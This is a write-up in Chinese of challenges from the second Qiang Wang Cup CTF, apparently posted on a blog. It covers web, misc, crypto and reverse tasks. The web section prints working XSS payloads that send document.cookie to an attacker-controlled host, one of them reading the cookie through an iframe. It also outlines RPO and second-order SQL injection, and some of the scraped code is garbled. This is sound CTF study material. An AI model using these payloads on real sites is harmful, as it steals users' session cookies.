1. 程式人生 > >第二屆“強網杯”全國網路安全挑戰賽WRITE-UP

第二屆“強網杯”全國網路安全挑戰賽WRITE-UP

週末打了一下QWB去看神仙打架23333333

萌新我勉強苟進了前200,廢話不多說了,還是太菜了。努力!

WEB

web簽到

這個題有三層,過三關得flag。

第一層

param1[]=1&param2[]=2

第二層

param1[]=1&param2[]=2

第三層

使用MD5碰撞生日攻擊

參考連結:

利用碰撞機搞到兩個md5值相等的bin檔案。

然後url編碼一下post過去,或者使用burpsuite檔案上傳。

拿到flag。

Share your mind

rpo攻擊和xxs bot的使用。

f12審查元素可以看到有兩個相對路徑的js程式碼,而比如jquery.min.js前面沒有/來限制,存在rpo攻擊漏洞。

artile釋出文章。

構造payloadjs渲染:

http://39.107.33.96:20000/index.php/view/article/98749/..%2F..%2F..%2F..%2Findex.php

發現有戲。文章xss內容:

b=document.cookie;a="<img src=//ip/"+btoa(b)+">";document.write(a);

來獲取根目錄下的cookie。

 得到:HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"

獲取該目錄下的cookie

這裡有兩種方法,第一是xssbot執行:

var i = document.createElement("iframe"

);

i.setAttribute("src", "/QWB_fl4g/QWB/");

document.body.appendChild(i);

i.addEventListener( "load", function(){

var content = i.contentWindow.document.cookie; location='//ip/'+btoa(content);}, false);

然後看vps上返回的cookie就是flag。

第二種方法是寫文章處:

建立 iframe,利用 iframe 標籤
的 src 屬性指定目標地址,然後讀取 contentWindow.document.cookie 就可以了

使用eval((String.fromCharCode()))

內容是:o=document.createElement("iframe");o.src="/QWB_fl4g/QWB/";document.getElementsByTagName("body")[0].appendChild(o);o.onload=function(){newImage().src="http://yourvps/?d="+o.contentWindow.document.cookie;

在伺服器上返回cookie有flag。

Three hit

經典的二次注入。發現在password處可以注入。

測試發現有四個欄位,在第二個欄位處有回顯。

 依次爆出資訊qwb -> flag -> flag。萌新題23333333

打擾了,我太垃圾了,web其他的不會了。pwn學藝不精,pythonweb看著原始碼就懵逼,實戰又只會工具,那個什麼教育網站看著就怕2333333.

MISC

簽到

這題太爽了,複製貼上一把梭。拿到flag。哈!

WELCOME

掏出圖片隱寫神器stegsolve,進行圖層分析,胡亂操作一般拿到flag。

ai-mail

什麼深度學習啊,寫個指令碼把圖片base64之後發過去,爆破一下得flag。(打擾了我覺得就是這樣做)

貼指令碼

from pwn import *
import base64

image_data = ''

with open('./basque-shepherd-dog.jpg', 'rb') as fp:
image_data = base64.b64encode(fp.read())

while True:
conn = remote('117.50.13.213', 12345)
conn.recvuntil('plz input your base64 encode pic:')
conn.sendline(image_data)
res = conn.recvall(timeout=3).strip()
if res and res != 'no':
print res
sleep(7)
res = conn.recvall(timeout=3).strip()
print res
sys.exit(0)
conn.close()

 還好在下學了點pwn,會用pwntools,不然指令碼都不會寫,打擾了。

問卷調查

一本正經的吐槽了一下拿到flag。

CRYPTO

streamgame1/streamgame2

貼一下1題目:

2的題目:

逆了一下不會逆,爆破吧少年。

1的爆破:

2的爆破:

管他什麼密碼學。爆破一把梭,什麼原理,什麼逆向密碼學,一把梭!

RE

simplecheck

打擾了還是爆破。

a = [146527998, 205327308, 94243885, 138810487, 408218567, 77866117, 71548549, 563255818, 559010506, 449018203, 576200653, 307283021, 467607947, 314806739, 341420795, 341420795, 469998524,417733494, 342206934, 392460324, 382290309, 185532945, 364788505, 210058699, 198137551, 360748557, 440064477, 319861317, 676258995, 389214123, 829768461, 534844356, 427514172, 864054312]b = [46393, 49151, 36900, 59564, 35883, 3517, 52957, 1509, 61207, 63274, 27694, 20932, 37997, 22069, 8438, 33995,53298, 16908, 30902, 64602, 64028, 29629, 26537, 12026, 31610, 48639, 19968, 45654, 51972, 64956, 45293, 64752, 37108]c = [57355, 22538, 47767, 8940, 4975, 27050, 56102, 21796, 41174, 63445, 53454, 28762, 59215, 16407, 64340, 37644,59896, 41276, 25896, 27501, 38944, 37039, 38213, 61842, 43497, 9221, 9879, 14436, 60468, 19926, 47198, 8406, 64666]d = [-341994984, -370404060, -257581614, -494024809, -135267265, 54930974, -155841406, 540422378, -107286502, -128056922, 265261633, 275964257, 119059597, 202392013, 283676377,126284124, -68971076, 261217574, 197555158, -12893337, -10293675, 93868075, 121661845, 167461231, 123220255, 221507, 258914772, 180963987, 107841171, 41609001, 276531381, 169983906, 276158562]flag = ''for m in range(34):  for i inrange(33, 127):        if a[m] == b[m] * i **2+ c[m] * i + d[m]:               for j inrange(33,127):                       if a[(m +1)] == b[m] * j **2+ c[m] * j + d[m]:                                     flag+=chr(i)                                     print flag

PWN

打擾了,全是堆。告辭!

說點什麼吧,QWB真的是打到心態大崩,自己真的是太菜了。沒有什麼想說的。告辭。